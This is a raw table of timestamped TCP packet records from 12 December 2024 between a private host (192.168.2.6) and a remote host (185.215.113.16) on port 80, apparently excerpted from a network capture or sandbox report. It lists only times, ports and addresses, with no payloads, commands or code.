Dec 12, 2024 21:50:37.938494921 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.939376116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.939462900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.939584970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.959527016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.979650974 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999465942 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999465942 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999515057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999546051 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999577999 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999596119 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.999644995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.073863983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.074029922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.074404955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.074592113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.075592995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.075741053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.076663971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.076778889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.077788115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.077931881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.077944040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.078005075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.078037977 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.078881025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.079006910 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.079169035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.079581022 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.079986095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.080127001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.080310106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.081109047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.081209898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.082300901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.082420111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.083337069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.083437920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.084530115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.084629059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.085567951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.085679054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.086668015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.086790085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.087786913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.088059902 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.088897943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.089030027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.090032101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.090205908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.091187000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.091325998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.092252016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.092369080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.093354940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.093498945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.094546080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.094645023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.095576048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.095693111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.096678019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.096831083 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.097922087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.097985983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.099261999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.099479914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.100614071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.100640059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.100764036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.101747990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.101888895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.102837086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.102963924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.103907108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.103957891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.104732037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.104784966 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.104829073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.104830027 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.104871035 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.105055094 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.105087996 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.105670929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.105706930 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.105762959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.106713057 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.106863976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.107353926 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.107857943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.108021975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.108088970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.109045982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.109096050 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.109112978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.109159946 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.110151052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.110208035 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.110292912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.110337973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.111191034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.111252069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.111304998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.111351967 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.112343073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.112407923 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.112413883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.112478018 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.113419056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.113466024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.113513947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.113560915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.114506006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.114554882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.114613056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.114661932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.115719080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.115786076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.115832090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.115880013 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.116770983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.116820097 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.116931915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.116978884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.117889881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.117938995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.117985010 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.118037939 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.119024038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.119069099 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.119082928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.119123936 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.120229959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.120279074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.120325089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.120371103 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.121262074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.121336937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.122373104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.122450113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.122520924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.122522116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.123440027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.123496056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.123575926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.123624086 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.124540091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.124588966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.124641895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.124691010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.125660896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.125705957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.125758886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.125808954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.126852036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.126904011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.127006054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.127060890 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.127913952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.127964020 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.128015041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.128061056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.129035950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.129085064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.129165888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.129211903 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.130136967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.130194902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.130237103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.130290985 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.131274939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.131341934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.131364107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.131418943 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.132318020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.132368088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.275265932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.275340080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.275392056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.275439978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.275916100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.275975943 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.276005983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.276051044 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.276848078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.276900053 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.276946068 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.276992083 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.278139114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.278187990 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.278275967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.278323889 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.279613972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.279671907 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.279726982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.279771090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.280031919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.280080080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.280164957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.280210018 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.281013966 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.281063080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.281110048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.281229973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.282026052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.282107115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.283004999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.283128977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.284071922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.284245014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.285020113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.285157919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.285554886 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.285778999 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.286094904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.286143064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.286151886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.286256075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.287074089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.287122965 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.287188053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.287234068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.288130045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.288176060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.288228035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.288269997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.289184093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.289226055 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.289382935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.289437056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.290159941 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.290211916 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.290258884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.290302992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.291263103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.291307926 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.291371107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.291428089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.292243958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.292295933 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.292356014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.292403936 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.293216944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.293268919 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.293380976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.293426037 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.294250011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.294300079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.294421911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.294470072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.295275927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.295336008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.295389891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.295435905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.296355009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.296403885 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.296448946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.296497107 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.297312975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.297358990 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.297411919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.297456980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.298362970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.298413038 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.298459053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.298506021 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.299381971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.299428940 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.299475908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.299523115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.300422907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.300472021 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.300544024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.300594091 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.301438093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.301485062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.301532030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.301580906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.302445889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.302645922 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.302722931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.302768946 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.303487062 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.303563118 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.303567886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.303632021 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.304547071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.304606915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.304651976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.304697037 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.305680990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.305723906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.305756092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.305800915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.306730032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.306777954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.306814909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.306862116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.307728052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.307774067 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.307813883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.307884932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.308738947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.308779955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.308810949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.308856010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.309726000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.309779882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.309851885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.309891939 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.310678959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.310726881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.310863018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.310909986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.311784029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.311831951 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.311885118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.311930895 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.312737942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.312787056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.312850952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.312894106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.313740969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.313899994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.314349890 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.314753056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.314925909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.315040112 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.315795898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.315841913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.315932035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.315993071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.316864014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.316910982 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.317020893 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.317066908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.317859888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.317908049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.317955017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.318001032 CET	49942	80	192.168.2.6	185.215.113.16
